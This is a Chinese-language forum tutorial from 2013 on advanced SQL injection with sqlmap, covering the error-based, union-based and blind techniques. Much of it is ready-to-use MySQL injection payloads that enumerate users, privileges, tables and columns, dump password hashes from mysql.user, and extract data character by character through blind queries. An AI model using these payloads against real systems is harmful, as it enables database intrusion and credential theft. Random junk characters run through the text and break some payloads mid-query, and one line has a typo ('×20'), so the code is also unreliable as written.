找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2241|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。, u- _. i$ c$ p% E" \4 E2 t* J

7 S9 D8 {. z/ H  k; J$ U这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表+ r/ {0 j  L; d* U* r
; \, r7 O4 T, i+ m' j1 C$ ?
分类标准        分类        备注
- {4 J; k: Y4 |: ^% q按字段类型        整型注入,字符型注入        2 M' O& F8 T3 d% `8 [" t- Z+ }% z
按出现的位置        get注入,post注入,cookie注入,http header注入       
3 T* p: L* x2 X, O# f* V5 A然而高级注入是这样的
: N! B* q* _  b3 }5 b, u3 F4 L! t ' d0 @3 v% t) q
高级注入分类        条件
6 I0 P: S9 H9 b+ S& h; verror-based sql        数据库的错误回显可以返回,存在数据库,表结构0 S9 x) i0 t8 }* G* d% A; Z( }8 \
union-based sql        能够使用union,存在数据库,表结构0 n5 q! _( ^! O& Q
blind sql        存在注入7 h% g6 w& S9 N, V4 L. b! t! Q
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。& Q" y* p0 H. G# M) E# R
$ d6 Y' p7 A7 H: d) a( K
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火* e: e( Z6 R" D" K6 ~6 s
& |9 Q0 f: _: j
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。# d" |+ K! F* [: S$ f7 O

* Z& s- C- [- L6 T这里用mysql说明9 R  Z6 |) [# ?. c

3 A# Z, B1 F  g  h6 F/ R! p8 @e注入坛子里很多了,请看戳我或者再戳我3 _1 `: f' u' I0 _4 i

! Z; L( i2 o+ @3 q5 d: }5 r2 o: y7 _& Xu注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
6 M  C: r+ F% b . j7 v* ?9 C5 p
获取当前数据库用户名/ F" l5 b+ n3 \3 D# a8 k
2 T0 x& ]$ y' T2 H) ^" k4 H
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C% y- l/ s( h; Z  l- \7 K, Z
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL. `1 P' @3 _: }* N
L, NULL#5 x. V4 C5 y: K1 d5 l
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。4 s! R/ \& }6 Z% ~8 u6 \" V6 p

: X- a. e  h& w/ @, t. v* y- P' a' P获取数据库名- @, {: J/ D* T4 t: a/ W
* _% I# K0 C4 |' h1 N
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#+ u5 g+ J0 O0 C: B  X7 b# Y
获取所有用户名3 D7 N6 \: m1 @& e2 s0 V
" M" p& P9 ~7 Z- Y7 U
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#3 Z/ x# Z  L" _/ m6 z; U  N, N
查看当前用户权限
1 ~% v/ j' Q3 m: K" S7 }) u 3 {0 X9 q5 m: e) Z6 p( Q
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
9 j: b* Y' _% U尝试获取密码,当然需要有能读mysql数据库的权限
- F# I5 [" e( e& [5 e  K
8 z& p* T# m9 AUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#- Y1 X4 A) t: f2 a' w
获取表名,limit什么的自己搞啦$ t$ N/ D$ G7 {

7 j( t+ V1 v4 L" w  T) E- w# O. xUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#: v, X+ v7 ^) @1 |' x8 d4 |
获取字段名及其类型- f+ ~" p, |3 l- Z, {. }( ^( H2 ?
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
: Y9 Z+ g" S( [2 e 5 {2 [: s5 O; D+ Y  o3 C
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
5 a1 q! g, p6 `5 D0 b ) r  c8 A3 f  X7 ~7 ^7 o. p7 N- Y
如:! K4 e1 }) g" Q# \  H# z- _- s& c
获取当前用户名
/ Z; C  Q4 n" g2 r ( t0 Z. J; s$ g
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116: L% v$ F, c" `3 p2 X& P
获取当前数据库
+ T" a6 O9 a; s/ e   p- A. N7 S# _8 S9 v  S& g3 J
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106" ^: _: Q* {# c! `5 C
获取表名3 H" ^. o# [* S0 |) P( l5 I

6 O/ q- z7 K$ G- a: I% XAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
" v" z2 R% |  m6 r获取字段名及其类型和爆内容就不说了,改改上面的就可以了。* k( J& a9 e1 O
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
% v" p& R: R3 m9 o" E0 w爆表
9 u, q* W) l7 n5 q8 l3 T; ]
. ^1 Z5 e: e5 [& q$ F( O; d5 d8 IAND EXISTS(select * from table)
# A+ S9 W+ M0 h% w! Z9 E2 U爆字段9 D+ T! B/ ]8 x+ h1 I
/ q0 S$ E' C% Q2 N
AND EXISTS(select pwd from table)
/ s7 O$ Y- h$ c, D& D3 V' P7 s盲注的变化就比较多了,由于篇幅,只是举个例子而已。
- l! F  t% x2 ]$ ^5 v
' B1 Y* o" @3 c+ G8 K. h" U7 V本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。* o( j" U( t% x3 a4 ]& X& J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表